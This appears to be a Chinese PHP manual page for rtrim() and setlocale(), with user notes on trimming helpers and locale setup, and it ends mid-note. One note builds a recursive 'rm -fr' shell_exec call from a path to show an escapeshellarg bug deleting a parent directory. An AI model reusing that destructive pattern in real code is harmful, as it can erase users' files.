不使用第二个参数，rtrim() 仅删除以下字符：

  • " " (ASCII 32 (0x20))，普通空白符。
  • "\t" (ASCII 9 (0x09))，制表符。
  • "\n" (ASCII 10 (0x0A))，换行符。
  • "\r" (ASCII 13 (0x0D))，回车符。
  • "\0" (ASCII 0 (0x00))，NUL 空字节符。
  • "\x0B" (ASCII 11 (0x0B))，垂直制表符。

参数

str

输入字符串。

character_mask

通过指定 character_mask，可以指定想要删除的字符列表。简单地列出你想要删除的全部字符。使用 .. 格式，可以指定一个范围。

返回值

返回改变后的字符串。

范例

Example #1 rtrim() 使用范例

<?php

$text = "\t\tThese are a few words :) ...  ";
$binary = "\x09Example string\x0A";
$hello  = "Hello World";
var_dump($text, $binary, $hello);

print "\n";

$trimmed = rtrim($text);
var_dump($trimmed);

$trimmed = rtrim($text, " \t.");
var_dump($trimmed);

$trimmed = rtrim($hello, "Hdle");
var_dump($trimmed);

// 删除 $binary 末端的 ASCII 码控制字符
// (包括 0 - 31)
$clean = rtrim($binary, "\x00..\x1F");
var_dump($clean);

?>

以上例程会输出：

string(32) "        These are a few words :) ...  "
string(16) "    Example string
"
string(11) "Hello World"

string(30) "        These are a few words :) ..."
string(26) "        These are a few words :)"
string(9) "Hello Wor"
string(15) "    Example string"

参见

  • trim() - 去除字符串首尾处的空白字符（或者其他字符）
  • ltrim() - 删除字符串开头的空白字符（或其他字符）

User Contributed Notes

andreipop2005 at gmail dot com 13-Jul-2015 09:24
Trim limit would be really helpfull. I made a little helper function to do a rtrim with a limited number of replaces:

<?php
function rtrim_limit($str, $delim, $count = 0)
    {
        if ($count == 0) return rtrim($str, $delim);

        $l = strlen($delim);
        $k = 0;

        while (substr($str, -$l) == $delim && ($count == 0 || ($count > 0 && $k++ < $count))) {
            $str = substr($str, 0, strlen($str) - $l);
        }

        return $str;
    }
?>
Anonymous 05-Mar-2014 05:55
To ltrim or rtrim a dot it have to be escaped ltrim('.1252', '\.')
pinkgothic at gmail dot com 01-Jul-2013 09:10
On the recurring subject of string-stripping instead of character-stripping rtrim() implementations... the simplest (with a caveat) is probably the basename() function. It has a second parameter that functions as a right-trim using whole strings:

<?php

echo basename('MooFoo', 'Foo');

?>

...outputs 'Moo'.

Since it also strips anything that looks like a directory, it's not quite identical with hacking a string off the end:

<?php

echo basename('Zoo/MooFoo', 'Foo');

?>

...still outputs 'Moo'.

But sometimes it gets the job done.
pLIMP 20-Jul-2012 07:49
Function similar to rtrim only this will truncate the string at the 1st occurence of any character from $charlist

<?php

function rstrip($string, $charlist = "\t ") {
    // removes everything from first occurence of char in charlist to end of string

    $charlist = str_split($charlist);
    $pos = strlen($string);

    foreach ($charlist as $char) {
        $pos = min(strpos($string, $char), $pos);
    }

    $string_stripped = substr($string, 0, $pos);

    return $string_stripped;
}

?>
krzysiek dot 333 at gmail dot com 01-May-2012 09:58
function read_more($in,$len=160){
    if(strlen($in)>$len){
        return preg_replace('/[\s\.,][^\s\.,]*$/u', '', substr($in, 0, $len)).'...';
    }else{
        return $in;
    }
}

echo read_mode("Lorem ipsum dolor sit amet, consectetur adipisicing elit. Proin nibh augue, suscipit a, scelerisque sed, lacinia in, mi. Cras vel lorem. Etiam pellentesque aliquet tellus. Phasellus pharetra nulla ac diam. Quisque semper justo at risus. Donec venenatis, turpis vel hendrerit interdum, dui ligula ultricies purus, sed posuere libero dui id orci.");
/* Output:
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Proin nibh augue, suscipit a, scelerisque sed, lacinia in, mi. Cras vel lorem. Etiam pellentesque...*/
NBS Studio 22-Feb-2010 05:02
The simplest way to strip a newline form a text file is ltrim();

trim or explode or split ("\n" or "\r\n") doesn't work in all cases, so give ltrim(); a try instead.
info at nbs-studio dot com 22-Feb-2010 05:02
The simplest way to strip a newline form a text file is ltrim();

trim or explode or split ("\n" or "\r\n") doesn't work in all cases, so give ltrim(); a try instead.
pinkgothic at gmail dot com 22-Jan-2010 05:36
I have an obsessive love for php's array functions given how extremely easy they've made complex string handling for me in various situations... so, have another string-rtrim() variant:

<?php

function strrtrim($message, $strip) {
    // break message apart by strip string
    $lines = explode($strip, $message);
    $last  = '';
    // pop off empty strings at the end
    do {
        $last = array_pop($lines);
    } while (empty($last) && (count($lines)));
    // re-assemble what remains
    return implode($strip, array_merge($lines, array($last)));
}

?>

Astonishingly, something I didn't expect, but: It completely compares to harmor's rstrtrim below, execution time wise. o_o Whee!
harmor 04-Apr-2008 03:05
I'm sure there's a better way to strip strings from the end of strings.

<?php
/**
 * Strip a string from the end of a string
 *
 * @param string $str      the input string
 * @param string $remove   OPTIONAL string to remove
 *
 * @return string the modified string
  */
function rstrtrim($str, $remove=null)
{
    $str    = (string)$str;
    $remove = (string)$remove;

    if(empty($remove))
    {
        return rtrim($str);
    }

    $len = strlen($remove);
    $offset = strlen($str)-$len;
    while($offset > 0 && $offset == strpos($str, $remove, $offset))
    {
        $str = substr($str, 0, $offset);
        $offset = strlen($str)-$len;
    }

    return rtrim($str);

} //End of function rstrtrim($str, $remove=null)

echo rstrtrim('Hello World!!!', '!')   .'<br />'; //"Hello World"
echo rstrtrim('Hello World!!!', '!!')  .'<br />'; //"Hello World!"
echo rstrtrim('Hello World!!!', '!!!') .'<br />'; //"Hello World"
echo rstrtrim('Hello World!!!', '!!!!').'<br />'; //"Hello World!!!"
?>
YAS 08-May-2006 06:01
To remove an unwanted character - example "." - if exist or not.

The example above doesn't include the case where there is no "."
If there is not "." at the example above the last word will be deleted.

Have fun with this code.

<?php
$text = "This string contains. some unwanted characters on the end .";
$text = trim($text);
$last = $text{strlen($text)-1};
if (!strcmp($last,"."))
{
  $text = rtrim($text, 'a..z');
  $text = rtrim($text, '.');
}
?>
gbelanger at exosecurity dot com 17-Feb-2006 02:31
True, the Perl chomp() will only trim newline characters. There is, however, the Perl chop() function which is pretty much identical to the PHP rtrim()

---

Here's a quick way to recursively trim every element of an array, useful after the file() function :

<?php
# Reads /etc/passwd file an trims newlines on each entry
$aFileContent = file("/etc/passwd");
foreach ($aFileContent as $sKey => $sValue) {
    $aFileContent[$sKey] = rtrim($sValue);
}

print_r($aFileContent);
?>
Unimagined at UnaimaginedDesigns dot Com 16-Jan-2005 12:49
I needed a way to trim all white space and then a few chosen strings from the end of a string.  So I wrote this class to reuse when stuff needs to be trimmed.

<?php

class cleaner {

function cleaner ($cuts,$pinfo) {
$ucut = "0";
$lcut = "0";
while ($cuts[$ucut]) {
$lcut++;
$ucut++;
}
$lcut = $lcut - 1;
$ucut = "0";
$rcut = "0";
$wiy = "start";

while ($wiy) {

if ($so) {
$ucut = "0";
$rcut = "0";
unset($so);
}

if (!$cuts[$ucut]) {
$so = "restart";
} else {
$pinfo = rtrim($pinfo);
$bpinfol = strlen($pinfo);
$tcut = $cuts[$ucut];
$pinfo = rtrim($pinfo,"$tcut");
$pinfol = strlen($pinfo);

    if ($bpinfol == $pinfol) {
    $rcut++;
    if ($rcut == $lcut) {
    unset($wiy);
    }
    $ucut++;
    } else {
    $so = "restart";
    }
}
}

$this->cleaner = $pinfo;
}

}

$pinfo = "Well... I'm really bored...<br /><br>&nbsp;    \n\t&nbsp;<br><br /><br>&nbsp;    \r\r&nbsp;<br>\r<br /><br>\r&nbsp;    &nbsp;\n<br>      <br />\t";

$cuts = array('\n','\r','\t',' ',' ','&nbsp;','<br />','<br>','<br/>');

$pinfo = new cleaner($cuts,$pinfo);
$pinfo = $pinfo->cleaner;

print $pinfo;

?>

That class will take any string that you put in the $cust array and remove it from the end of the $pinfo string.  It's useful for cleaning up comments, articles, or mail that users post to your site, making it so there's no extra blank space or blank lines.
todd at magnifisites dot com 19-Aug-2003 06:19
This shows how rtrim works when using the optional charlist parameter:
rtrim reads a character, one at a time, from the optional charlist parameter and compares it to the end of the str string. If the characters match, it trims it off and starts over again, looking at the "new" last character in the str string and compares it to the first character in the charlist again. If the characters do not match, it moves to the next character in the charlist parameter comparing once again. It continues until the charlist parameter has been completely processed, one at a time, and the str string no longer contains any matches. The newly "rtrimmed" string is returned.
<?php
  // Example 1:
  rtrim('This is a short short sentence', 'short sentence');
  // returns 'This is a'
  // If you were expecting the result to be 'This is a short ',
  // then you're wrong; the exact string, 'short sentence',
  // isn't matched.  Remember, character-by-character comparison!
  // Example 2:
  rtrim('This is a short short sentence', 'cents');
  // returns 'This is a short short '
?>
HW 05-Jun-2003 06:32
<?php
$text = "This string contains some unwanted characters on the end.";
$text1 = rtrim($text, 'a..z');
$text1 = rtrim($text1, '.');
echo $text1; // only the '.' is trimmed.
$text2 = rtrim($text, 'a..z.');
echo $text2; // The whole last word is trimmed.
?>


设置地区信息

  • ? rtrim
  • sha1_file ?
  • PHP Manual
  • 字符串 函数
  • 设置地区信息

setlocale

(PHP 4, PHP 5, PHP 7)

setlocale — 设置地区信息

说明

setlocale ( int $category , string $locale [, string $... ] ) : string
setlocale ( int $category , array $locale ) : string

设置地区信息。

参数

category

category 命名常量指定的受区域设置的功能类别:

  • LC_ALL 所有的设置
  • LC_COLLATE 字符串比较, 详见 strcoll()
  • LC_CTYPE 字符串的分类与转换, 参见例子 strtoupper()
  • LC_MONETARY 等同 localeconv()
  • LC_NUMERIC 对于小数点的分隔 (另请参见 localeconv())
  • LC_TIME 时间与格式 strftime()
  • LC_MESSAGES 系统响应 (如果PHP使用libintl编译)

locale

If locale is NULL or the empty string "", the locale names will be set from the values of environment variables with the same names as the above categories, or from "LANG".

If locale is "0", the locale setting is not affected, only the current setting is returned.

If locale is an array or followed by additional parameters then each array element or parameter is tried to be set as new locale until success. This is useful if a locale is known under different names on different systems or for providing a fallback for a possibly not available locale.

...

(可使用字符串或数组参数进行尝试直到设置成功。)

Note:

在Windows中，setlocale(LC_ALL, '')要从系统中的区域/语言设置(通过控制面板访问) 。

返回值

Returns the new current locale, or FALSE if the locale functionality is not implemented on your platform, the specified locale does not exist or the category name is invalid.

An invalid category name also causes a warning message. Category/locale names can be found in » RFC 1766 and » ISO 639. Different systems have different naming schemes for locales.

Note:

The return value of setlocale() depends on the system that PHP is running. It returns exactly what the system setlocale function returns.

更新日志

版本 | 说明
5.3.0 | This function now throws an E_DEPRECATED notice if a string is passed to the category parameter instead of one of the LC_* constants.

范例

Example #1 setlocale() Examples

<?php
/* Set locale to Dutch */
setlocale(LC_ALL, 'nl_NL');

/* Output: vrijdag 22 december 1978 */
echo strftime("%A %e %B %Y", mktime(0, 0, 0, 12, 22, 1978));

/* try different possible locale names for german as of PHP 4.3.0 */
$loc_de = setlocale(LC_ALL, 'de_DE@euro', 'de_DE', 'de', 'ge');
echo "Preferred locale for german on this system is '$loc_de'";
?>

Example #2 setlocale() Examples for Windows

<?php
/* Set locale to Dutch */
setlocale(LC_ALL, 'nld_nld');

/* Output: vrijdag 22 december 1978 */
echo strftime("%A %d %B %Y", mktime(0, 0, 0, 12, 22, 1978));

/* try different possible locale names for german as of PHP 4.3.0 */
$loc_de = setlocale(LC_ALL, 'de_DE@euro', 'de_DE', 'deu_deu');
echo "Preferred locale for german on this system is '$loc_de'";
?>

注释

Warning

The locale information is maintained per process, not per thread. If you are running PHP on a multithreaded server API like IIS or Apache on Windows, you may experience sudden changes in locale settings while a script is running, though the script itself never called setlocale(). This happens due to other scripts running in different threads of the same process at the same time, changing the process-wide locale using setlocale().

Tip

Windows users will find useful information about locale strings at Microsoft's MSDN website. Supported language strings can be found in the » language strings documentation and supported country/region strings in the » country/region strings documentation.

User Contributed Notes

tim dot peters at live dot com 01-May-2019 09:18
Maybe obvious, but I would expect that setlocale constantes (LC_*) would be bitwise, but they're not.

In example, doing this:

<?php
    setlocale(LC_TIME + LC_COLLATE, 'nl');

    echo setlocale(LC_ALL, 0);
?>
would cause the following result:

LC_CTYPE=C;LC_NUMERIC=C;LC_TIME=C;LC_COLLATE=C;LC_MONETARY=C;LC_MESSAGES=nl;LC_PAPER=C;
LC_NAME=C;LC_ADDRESS=C;LC_TELEPHONE=C;LC_MEASUREMENT=C;LC_IDENTIFICATION=C

Note that LC_MESSAGES has changed, instead of LC_TIME and LC_COLLATE. (Because LC_TIME + LC_COLLATE = LC_MESSAGES).

Instead you would need to specify them individually, if you don't wish to use LC_ALL:

<?php
    setlocale(LC_TIME, 'nl');
    setlocale(LC_COLLATE, 'nl');

    echo setlocale(LC_ALL, 0);
?> LC_CTYPE=C;LC_NUMERIC=C;LC_TIME=nl;LC_COLLATE=nl;LC_MONETARY=C;LC_MESSAGES=C;LC_PAPER=C;
LC_NAME=C;LC_ADDRESS=C;LC_TELEPHONE=C;LC_MEASUREMENT=C;LC_IDENTIFICATION=C
stepdate at gmail dot com 27-Jan-2018 05:03
If you have Locales installed and things won't work check the spelling: for German all the comments suggested "setlocale(LC_TIME, "de_DE.utf8")", but it has to be "setlocale(LC_TIME, "de_DE.UTF-8")"-> UTF-8 instead of utf8.
lezsakdomi1 at gmail dot com 01-Jul-2017 09:32
The categories are more explained at the manpage of locale(7):
http://man7.org/linux/man-pages/man7/locale.7.html
wuyidong8478 at gmail dot com 24-May-2017 07:39
I got return value [ string(1) "C" ] from CentOS6 after
calling  setlocale(LC_ALL, 0);

I got totally different return value
 [ string(170) "LC_CTYPE=ja_JP.UTF8;
LC_NUMERIC=C;
LC_TIME=C;
LC_COLLATE=C;
LC_MONETARY=C;
LC_MESSAGES=C;
LC_PAPER=C;
LC_NAME=C;
LC_ADDRESS=C;
LC_TELEPHONE=C;
LC_MEASUREMENT=C;
LC_IDENTIFICATION=C"] from another  CentOS6
after calling the same method  setlocale(LC_ALL, 0);

Could someone tell me what makes the result different ?
internationalist 25-Oct-2015 02:14
My script runs a loop that changes the locale (multilingual application). I've noticed that on some random occasion the locale still hasn't changed despite the setlocale() function being executed a step earlier. I had to add wait time for this condition. Interestingly enough, this was the case only with the 'nl_NL.UTF8' locale.

<?php
//some code
$this->counter = 0;
// some code
$this->locale = 'nl_NL.UTF8';
setlocale(LC_ALL, $this->locale);
    $this->counter++;
    if ($this->locale !== setlocale(LC_CTYPE, 0)) { // Locale not changed yet.
      if ($this->counter > 10) {
        return;
      }
      sleep(1);
    }
// some code
?>
Shashakhmetov Talgat 29-Sep-2015 04:41
//Fix encoding for russian locale on windows
$locale = setlocale(LC_ALL, 'ru_RU.CP1251', 'rus_RUS.CP1251', 'Russian_Russia.1251');

function strftime_fix($format, $locale, $timestamp = time()){
    // Fix %e for windows
    if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') {
        $format = preg_replace('#(?<!%)((?:%%)*)%e#', '\1%#d', $format);
    }
    // convert
    $date_str = strftime($format, $timestamp);
    if (stripos($locale, "1251") !== false) {
      return iconv("windows-1251","utf-8", $date_str);
    } elseif (stripos($locale, "1252") !== false) {
      return iconv("windows-1252","utf-8", $date_str);
    } else {
      return $date_str;
    }
}
jose dot nobile at gmail dot com 25-Jun-2015 01:05
For Windows users complaining about setlocale.

The locale argument to the setlocale function takes the following form:
setlocale( LC_ALL, "<language>_<country>.<code_page>" );

in short, if you  want use for example: es_CO.UTF-8 it must be in Windows: Spanish_Colombia.1252

The code page 1252 is ISO-8859-1 (windows-1252    ANSI Latin 1; Western European (Windows)

Windows use different languages code from Unix, for example, es_CO becomes es-CO or Spanish_Colombia, also it doesn't support UTF-8 charset as is shown in their website: https://msdn.microsoft.com/en-us/library/x99tb11d(v=vs.140).aspx

"The set of available locale names, languages, country/region codes, and code pages includes all those supported by the Windows NLS API except code pages that require more than two bytes per character, such as UTF-7 and UTF-8. If you provide a code page value of UTF-7 or UTF-8, setlocale will fail, returning NULL."

Please check the updated website of language and code pages:

https://msdn.microsoft.com/en-us/library/39cwe7zf(v=vs.140).aspx
and
https://msdn.microsoft.com/en-us//goglobal/bb895996

Here a copy paste in case the link is removed:

Afrikaans
Albanian
Arabic_Saudi_Arabia
Arabic_Iraq
Arabic_Egypt
Arabic_Libya
Arabic_Algeria
Arabic_Morocco
Arabic_Tunisia
Arabic_Oman
Arabic_Yemen
Arabic_Syria
Arabic_Jordan
Arabic_Lebanon
Arabic_Kuwait
Arabic_UAE
Arabic_Bahrain
Arabic_Qatar
Armenian
Azeri_Latin
Azeri_Cyrillic
Basque
Belarusian
Bengali_India
Bosnian_Latin
Bulgarian
Catalan
Chinese_Taiwan
Chinese_PRC
Chinese_Hong_Kong
Chinese_Singapore
Chinese_Macau
Croatian
Croatian_Bosnia_Herzegovina
Czech
Danish
Divehi
Dutch_Standard
Dutch_Belgian
English_United_States
English_United_Kingdom
English_Australian
English_Canadian
English_New_Zealand
English_Ireland
English_South_Africa
English_Jamaica
English_Caribbean
English_Belize
English_Trinidad
English_Zimbabwe
English_Philippines
Estonian
Faeroese
Farsi
Finnish
French_Standard
French_Belgian
French_Canadian
French_Swiss
French_Luxembourg
French_Monaco
Georgian
Galician
German_Standard
German_Swiss
German_Austrian
German_Luxembourg
German_Liechtenstein
Greek
Gujarati
Hebrew
Hindi
Hungarian
Icelandic
Indonesian
Italian_Standard
Italian_Swiss
Japanese
Kannada
Kazakh
Konkani
Korean
Kyrgyz
Latvian
Lithuanian
Macedonian
Malay_Malaysia
Malay_Brunei_Darussalam
Malayalam
Maltese
Maori
Marathi
Mongolian
Norwegian_Bokmal
Norwegian_Nynorsk
Polish
Portuguese_Brazilian
Portuguese_Standard
Punjabi
Quechua_Bolivia
Quechua_Ecuador
Quechua_Peru
Romanian
Russian
Sami_Inari
Sami_Lule_Norway
Sami_Lule_Sweden
Sami_Northern_Finland
Sami_Northern_Norway
Sami_Northern_Sweden
Sami_Skolt
Sami_Southern_Norway
Sami_Southern_Sweden
Sanskrit
Serbian_Latin
Serbian_Latin_Bosnia_Herzegovina
Serbian_Cyrillic
Serbian_Cyrillic_Bosnia_Herzegovina
Slovak
Slovenian
Spanish_Traditional_Sort
Spanish_Mexican
Spanish_Modern_Sort
Spanish_Guatemala
Spanish_Costa_Rica
Spanish_Panama
Spanish_Dominican_Republic
Spanish_Venezuela
Spanish_Colombia
Spanish_Peru
Spanish_Argentina
Spanish_Ecuador
Spanish_Chile
Spanish_Uruguay
Spanish_Paraguay
Spanish_Bolivia
Spanish_El_Salvador
Spanish_Honduras
Spanish_Nicaragua
Spanish_Puerto_Rico
Swahili
Swedish
Swedish_Finland
Syriac
Tamil
Tatar
Telugu
Thai
Tswana
Ukrainian
Turkish
Ukrainian
Urdu
Uzbek_Latin
Uzbek_Cyrillic
Vietnamese
Welsh
Xhosa
Zulu

The code pages identifiers:

https://msdn.microsoft.com/en-us/library/windows/desktop/dd317756(v=vs.85).aspx
aaaaa976 at gmail dot com 02-Mar-2015 08:36
In Windows some times setlocale don't work, it return a empty array, buts the locale is set. I found that apache start before windows "load" locales, you must restart apache to solve this.
RobQuist 28-Nov-2013 02:51
In addition to russ, about getting / backing up the locale:
I'm using this in unit-tests. I wanted to test something based on locale, and reset the locale after the tests were done.

Yet there were some errors;
* setlocale doesn't like strings anymore. You need to use constants.
* Some contants don't exist anymore.

Here's an updated piece of code:

<?php
$originalLocales = explode(";", setlocale(LC_ALL, 0));
setlocale(LC_ALL, 'nl_NL.UTF-8');

//Do something here

//Recover to the default setting
        $skipConstants = array( //these will be returned by setlocale(LC_ALL, 0), but don't exist anymore.
            'LC_PAPER',
            'LC_NAME',
            'LC_ADDRESS',
            'LC_TELEPHONE',
            'LC_MEASUREMENT',
            'LC_IDENTIFICATION'
        );

        foreach ($originalLocales as $localeSetting) {
            if (strpos($localeSetting, "=") !== false) {
                list ($category, $locale) = explode("=", $localeSetting);
            } else {
                $category = LC_ALL;
                $locale   = $localeSetting;
            }

            if (!in_array($category, $skipConstants)) {
                setlocale(constant($category), $locale); //Using strings is deprecated.
            }
        }
?>
c dot madmax at gmail dot com 27-Jan-2013 03:48
<?php

// the last foldername only contains a german umlaut (lower a with two dots = \xE4 in ISO-8859-1)
$path = "/home/madmax/photos_from_the_last_10_years/\xE4"

// php escapeshellarg remove characters (depends on locale settings)
// the following example will delete /home/madmax/photos_from_the_last_10_years/
// instead of /home/madmax/photos_from_the_last_10_years/?

shell_exec(sprintf('rm -fr %s' escapeshellarg($path)));

// dear php developers, how stupid is that?
// I tell you: it is very very stupid! The problem exists since years and nothing happens (see bug #54391)

// this code will not remove all your photos of the last 10 years :)
function binary_safe_escapeshellarg_that_is_not_totally_buggy_and_do_not_remove_f___ing_characters($string)
{
    return(@sprintf("'%s'", @strtr($string, Array("\x27" => "\x27\x5C\x27\x27"))));
};

// delete /home/madmax/photos_from_the_last_10_years/?
// and not /home/madmax/photos_from_the_last_10_years/
shell_exec(sprintf('rm -fr %s' binary_safe_escapeshellarg_that_is_not_totally_buggy_and_do_not_remove_f___ing_characters($path))); // binary safe!

?>
data dot ocean dot italia at gmail dot com 20-Jan-2013 07:42
Instead, using php with IIS, I had to use this line for Italian language...

<?php setlocale(LC_ALL, 'Italian_Italy.1250'); ?>
russ at eatmymonkeydust dot com 08-Dec-2011 03:45
If you are looking for a getlocale() function simply pass 0 (zero) as the second parameter to setlocale().

Beware though if you use the category LC_ALL and some of the locales differ as a string containing all the locales is returned:

<?php
echo setlocale(LC_ALL, 0);

// LC_CTYPE=en_US.UTF-8;LC_NUMERIC=C;LC_TIME=C;LC_COLLATE=C;LC_MONETARY=C;LC_MESSAGES=C;LC_PAPER=C;LC_NAME=C;
// LC_ADDRESS=C;LC_TELEPHONE=C;LC_MEASUREMENT=C;LC_IDENTIFICATION=C

echo setlocale(LC_CTYPE, 0);

// en_US.UTF-8

setlocale(LC_ALL, "en_US.UTF-8");
echo setlocale(LC_ALL, 0);

// en_US.UTF-8

?>

If you are looking to store and reset the locales you could do something like this:

<?php

$originalLocales = explode(";", setlocale(LC_ALL, 0));
setlocale(LC_ALL, "nb_NO.utf8");

// Do something

foreach ($originalLocales as $localeSetting) {
  if (strpos($localeSetting, "=") !== false) {
    list ($category, $locale) = explode("=", $localeSetting);
  }
  else {
    $category = LC_ALL;
    $locale   = $localeSetting;
  }
  setlocale($category, $locale);
}

?>

The above works here (Ubuntu Linux) but as the setlocale() function is just wrapping the equivalent system calls, your mileage may vary on the result.
phcorp 26-Jul-2011 06:16
To find the locale of a Unix system:
<?php system('locale -a') ?>
flavioacvalverde at gmail dot com 15-Jun-2011 09:28
For Portugal I had to use

<?php setlocale(LC_ALL, 'Portuguese_Portugal.1252'); ?>

using php with IIS on Windows server.
tomas dot hampl at gmail dot com 23-Apr-2011 01:35
On Linux, setlocale() depends on the installed locales. To see which locales are available to PHP, run this from the terminal:

"locale -a"

Provided list are all locales that are available on your server for PHP to use. To add a new one, run

locale-gen <locale name> (this may need sudo / root permissions), for example to add a Czech locale, run something like this:

"sudo locale-gen cs_CZ.utf8"

Then you can use this locale declaration:

setlocale(LC_ALL, 'cs_CZ.utf8');
leif at neland dot dk 16-Aug-2010 04:38
Regarding dash'es in locale, it appears they should be omitted entirely.

In /etc/locale.gen I have

da_DK.ISO-8859-15 ISO-8859-15

but locale -a gives

da_DK.iso885915

which is the format setlocale()  wants.

(Debian)
garygendron at yahoo dot com 28-Jun-2010 08:04
For a php Mysql query, you could also use, for french canadian, in this example :

$query = 'SET lc_time_names = "fr_CA"';
$result = mysql_query($query) or die("Query failed");

$query = 'SELECT @@lc_time_names';
$result = mysql_query($query) or die("Query failed");

$query = 'SELECT id, created, YEAR(created) as year, MONTH(created) as month,' .
' CONCAT_WS(" ", MONTHNAME(created), YEAR(created)) as archive' .
' FROM #__TABLE as e' .
' GROUP BY archive' .
' ORDER BY id DESC';

Your data will be displayed in any locale setting you want. You may even $_GET[lc_time_name] from your multilanguage website.
Omer Sabic 21-Mar-2010 07:27
On Linux/Apache, when you install and try to use a new locale, the setlocale() function with the new locale will fail sometimes, but not always. To furthermore complicate, setlocale() will always complete with any of the previously installed locales. This would seem a really weird behaviour, which you can fix by restarting Apache, as Kari Sderholm aka Haprog mentioned, but I felt it needed to be properly pointed out.
Kari Sderholm aka Haprog 16-May-2009 04:28
It took me a while to figure out how to get a Finnish locale correctly set on Ubuntu Server with Apache2 and PHP5.

At first the output for "locale -a" was this:
C
en_US.utf8
POSIX

I had to install a finnish language pack with
"sudo apt-get install language-pack-fi-base"

Now the output for "locale -a" is:
C
en_US.utf8
fi_FI.utf8
POSIX

The last thing you need to do after installing the correct language pack is restart Apache with "sudo apache2ctl restart". The locale "fi_FI.utf8" can then be used in PHP5 after restarting Apache.

For setting Finnish timezone and locale in PHP use:
<?php
date_default_timezone_set('Europe/Helsinki');
setlocale(LC_ALL, array('fi_FI.UTF-8','fi_FI@euro','fi_FI','finnish'));
?>
wisborg 27-Apr-2009 05:06
It is correct as stated below that it is common that the UTF-8 should be used without the dash. However on some systems (e.g. MacOS 10.4) the dash is essential.
brice/axice/be 20-Feb-2009 05:19
Pay attention to the syntax.
- UTF8 without dash ('-')
- locale.codeset and not locale-codeset.

Stupid newbie error but worth knowing them when starting with gettext.

<?php
$codeset = "UTF8";  // warning ! not UTF-8 with dash '-'

// for windows compatibility (e.g. xampp) : theses 3 lines are useless for linux systems

putenv('LANG='.$lang.'.'.$codeset);
putenv('LANGUAGE='.$lang.'.'.$codeset);
bind_textdomain_codeset('mydomain', $codeset);

// set locale
bindtextdomain('mydomain', ABSPATH.'/locale/');
setlocale(LC_ALL, $lang.'.'.$codeset);
textdomain('mydomain');
?>

where directory structure of locale is (for example) :
locale/fr_FR/LC_MESSAGES/mydomain.mo
locale/en_US/LC_MESSAGES/mydomain.mo

and ABSPATH is the absolute path to the locale dir

further note, under linux systems, it seems to be necessary to create the locale at os level using 'locale-gen'.
Un_passant 16-Nov-2008 03:56
For debian/ubuntu, don't forget the charset UFT8.

// Works on Ubuntu 8.04 Server
setlocale(LC_TIME, 'fr_FR.UTF8', 'fr.UTF8', 'fr_FR.UTF-8', 'fr.UTF-8');
Leigh Morresi 01-Oct-2008 11:27
Setting locale that is not supported by your system will result in some string operations returning a question mark "?" in your strings where it needs to perform transliteration.

1) Always check the return of setlocale() to ensure it has set to something supported

2) on Linux you can use the "locale -a" command to find a list of supported locales
Arjon 27-Jul-2008 09:12
Please take heed and read the warning above if you are running on a XAMPP or any other Windows apache server! It just took me far too long to figure this out; and all the while there was a warning right on the page.

If you're experiencing shifting locale settings (check with setlocale(LC_ALL,0), returning the current locale stuff) and you're running a windows server, then it's not just you! Again, I urge everyone to read the red, but oh so easy not to read, warning message on this page.
michal dot kocarek at brainbox dot cz 27-Jul-2008 08:33
Note about using UTF-8 locale charset on Windows systems:

According to MSDN, Windows setlocale()'s implementation does not support UTF-8 encoding.

Citation from "MSDN setlocale, _wsetlocale" page (http://msdn.microsoft.com/en-us/library/x99tb11d.aspx):
The set of available languages, country/region codes, and code pages includes all those supported by the Win32 NLS API except code pages that require more than two bytes per character, such as UTF-7 and UTF-8. If you provide a code page like UTF-7 or UTF-8, setlocale will fail, returning NULL.

So basically, code like
<?php setlocale(LC_ALL, 'Czech_Czech Republic.65001'); // 65001 is UTF-8 codepage ?>
does not work on Windows at all.

(written in time of PHP 5.2.4)
de ronino at kde (reverse it) 25-Jun-2008 02:43
I experienced the behavior stated in the above Warning box: Running PHP5 on a multithreaded Apache made the current locale change sometimes all of a sudden within a script, so strftime() output wasn't in the required format.

I recompiled Apache with the prefork MPM and now it works like a charm. Took me a long time to find out the reason as I overlooked the warning box searching for either a bug report or a programming error of mine...
jonas at jonashaag dot de 27-May-2008 12:11
On Ubuntu, you have to take p.e. "de_DE.utf8", all available languages you can get with:
    locale -a
bryn AT lunarvis DOT com 21-Jan-2008 05:04
Posting this in the hope it might be useful to others, as I could find very little info anywhere. If you want to use a Welsh locale and have the suitable language support installed, you pass 'cym' (abbreviated form of Cymraeg) to setlocale:

<?php
setlocale(LC_TIME, 'cym');
$welsh= gmstrftime("%A, %B %Y - %H:%M",time());
echo $welsh;
?>

The above certainly applies to Windows systems, but should also apply to Unix if the required support is installed.

Cheers,

Bryn.
ostapk 27-Dec-2007 02:39
There is a new PECL extension under development called intl (it will be available in PHP5.3). Meanwhile all who rely on the setlocale() and friends should be aware about the limitations of them as covered in this post on the onPHP5.com blog: http://www.onphp5.com/article/22
Periklis 13-Sep-2007 02:33
In *some* Windows systems, setting LC_TIME only will not work, you must either set LC_ALL or both LC_CTYPE and LC_TIME. BUT if you have already set LC_TIME using setlocale earlier in the script, dates will not be affected! For example:
<?php
setlocale(LC_TIME, 'greek');
setlocale(LC_CTYPE, 'greek');
?>
will not work, while
<?php
setlocale(LC_CTYPE, 'greek');
setlocale(LC_TIME, 'greek');
?>
will do the job.
mvanbaak 09-May-2007 05:03
To complement Sven K's tip about debian:

You can also install the package locales-all
That one holds all the locales there are in compiled form.
szepeshazi at gmail dot com 18-Feb-2007 07:11
For those of you who are unfortunate enough (like me) to work in Windows environment, and try to set the locale to a language _and_ to UTF-8 charset, and were unable to do it, here is a workaround.

For example to output the date in hungarian with UTF-8 charset, this will work:

    $dateString = "%B %d., %A";
    setlocale(LC_ALL,'hungarian');
    $res=strftime($dateString);
    echo(iconv('ISO-8859-1', 'UTF-8', $res));

If anybody knows how to set the locale on Windows to the equivalent of "hu_HU.UTF-8" on unix, please do tell me.
lifeless 20-Nov-2006 09:40
if your server is an ubuntu (debian like)
you need to install the locales you want (default is english and your language) go to aptitude and install -language-pack-*-base it will resolve dependencies and will try to install a suggested package, remove it if you don't care and proceed.
Sven K 07-Jun-2006 03:08
If your system doesn't show any installed locales by "locale -a", try installing them by "dpkg-reconfigure locales" (on debian).
08-Mar-2006 12:17
The example from bruno dot cenou at revues dot org below shows the possibility, but I want to spell it out: you can add charset info to setlocale.

Example:

Into my utf-8-encoded page I want to insert the name of the current month, which happens to be March, in German "M?rz" - with umlaut. If you use

   setlocale(LC_TIME, 'de_DE');
   echo strftime("%B");

